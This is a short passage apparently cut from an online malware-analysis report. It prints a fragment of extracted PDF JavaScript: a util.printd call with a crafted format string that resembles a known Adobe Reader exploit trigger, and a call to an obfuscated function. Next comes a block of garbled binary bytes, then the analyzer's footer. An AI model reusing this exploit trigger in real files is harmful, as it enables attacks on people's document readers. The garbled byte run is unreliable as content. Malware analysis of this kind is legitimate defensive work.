	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

�������������������瓰����𰓰�����񰓳���������������������M�HKK�0

Open this report in the interactive analyzer, or submit your own file for analysis.